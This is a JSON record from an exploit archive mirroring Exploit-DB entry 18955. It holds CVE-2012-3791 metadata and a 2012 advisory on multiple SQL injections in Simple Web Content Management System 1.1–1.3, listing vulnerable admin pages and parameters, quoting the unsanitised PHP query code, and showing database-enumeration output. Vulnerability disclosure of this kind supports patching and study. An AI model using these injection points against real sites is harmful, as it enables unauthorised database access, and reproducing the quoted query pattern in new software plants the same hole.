{"exploit":{"id":"EDB-18955","name":"Simple Web Content Management System 1.1 < 1.3 - Multiple SQL Injections (SQLi)","description":"Simple Web Content Management System 1.1 < 1.3 - Multiple SQL Injections (SQLi)","cves":["CVE-2012-3791"],"author":"loneferret","published":"2012-05-30","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/18955","path":"exploits/php/webapps/18955.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-18955.txt","vulnerabilities":[{"id":"CVE-2012-3791","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple SQL injection vulnerabilities in Simple Web Content Management System 1.1 allow remote attackers to execute arbitrary SQL commands via the id parameter to (1) item_delete.php, (2) item_status.php, (3) item_detail.php, (4) item_modify.php, or (5) item_position.php in admin/; or (6) status parameter to admin/item_status.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-3791","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-3791"},"updatedAt":"2024-08-06T20:21:03.490Z","retrievedAt":"2026-11-27T16:10:59.166Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-18955.png?v=2","url":"https://exploitbin.com/exploits/EDB-18955","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-18955/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-18955/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"######################################################################################\n# Exploit Title: Simple Web Content Management System SQL Injection\n# Date: May 30th 2012\n# Author: loneferret\n# Version: 1.1 & 1.3\n# Application Url: http://www.cms-center.com/\n# Tested on: Ubuntu Server 8.04 / PHP Version 5.2.4-2ubuntu5.23\n######################################################################################\n# Discovered by: loneferret\n######################################################################################\n\n# Side note:\n# This application is nothing fancy, and really shouldn't be used other than\n# for practicing SQLi. Pretty much every page has at least one (1) vulnerable\n# parameter.\n\n# Vulnerability:\n# Due to improper input sanitization, many parameters are prone to SQL injection.\n# Most of them require to be authenticated with an account (admin).\n# But there are a few pages that will cause an error without having to logon.\n\n\n# PoC 1:\n# No Authentication Required.\n# Page: /admin/item_delete.php?id=[SQLi]\n# Vulnerable Parameter: id\n# Code:\n15      $id = $_GET['id'];\n16      $title = NULL;\n17      $text = NULL;\n18      database_connect();\n19      $query = \"select title,text from content where id = $id;\";\n20      //echo $query;\n21      $result = mysql_query($query);\n\n# As stated, nothing is checked before passing \"id\" to MySql.\n# This results in a MySql error.\n\n\n\n# PoC 2:\n# No Authentication Required.\n# Page: /admin/item_status.php?id=[SQLi]&status=1\n# Page: /admin/item_status.php?id=1&status=[SQLi]\n# Vulnerable Parameter: id & status\n# Code:\n10\t$ref = $_GET['ref'];\n11\t$id = $_GET['id'];\n12\t$status = $_GET['status'];\n13\t$update = \"UPDATE content\n14\t\t\tSET status='$status'\n15\t\t\tWHERE id='$id'\";\n16\t$query = mysql_query($update)\n\t\tor die(\"Their was a problem updating the status: \". mysql_error());\n\n# As stated, nothing is checked before passing \"id\" and/or \"status\" to MySql.\n# This results in a MySql error.\n\n\n\n# PoC 3:\n# Authentication Required.\n# Page: /admin/item_detail.php?id=[SQLi]\n# Vulnerable Parameter: id\n# Code:\n15     $id = $_GET['id'];\n16     $title = NULL;\n17     $text = NULL;\n18     database_connect();\n19     $query = \"select title,text from content where id = $id;\";\n20     //echo $query;\n21     $result = mysql_query($query);\n\n# As stated, nothing is checked before passing \"id\" to MySql.\n# This results in a MySql error.\n\n\n# PoC 4:\n# Authentication Required.\n# Page: /admin/item_modify.php?id=[SQLi]\n# Vulnerable Parameter: id\n# Code:\n60\tdatabase_connect();\n61\tif(isset($_GET['id'])) {\n62\t\t$id = ($_GET['id']);\n63\t}\n64\t$select = \"SELECT *\n65\t\t\tFROM content\n66\t\t\twhere id = '$id'\";\n67\t$query = mysql_query($select);\n\n# As stated, nothing is checked before passing \"id\" to MySql.\n# This results in a MySql error.\n\n# PoC 6:\n# Authencitation Required.\n# Page: /admin/item_position.php?id=[SQLi]&mode=up\n# Vulnerable Parameter: id\n.\n...ok I think we get the idea now.\n.\n.\n#\n# Example output:\n#\n[19:40:22] [INFO] the back-end DBMS is MySQL\nback-end DBMS: MySQL 5.0\n[19:40:22] [INFO] fetching tables for database: phpcms\n[19:40:22] [INFO] heuristics detected web page charset 'ascii'\n[19:40:22] [INFO] the SQL query used returns 1 entries\n[19:40:22] [INFO] retrieved: content\nDatabase: phpcms\n[1 table]\n+---------+\n| content |\n+---------+","sha256":"59d5d98a637934e33fb5cefecb24ae3420b6fb19be748a55e3bb964175c11dd7","bytes":3298,"fetchedAt":"2026-11-27T16:10:55.977Z","encoding":"utf-8 (display only; download retains original bytes)"}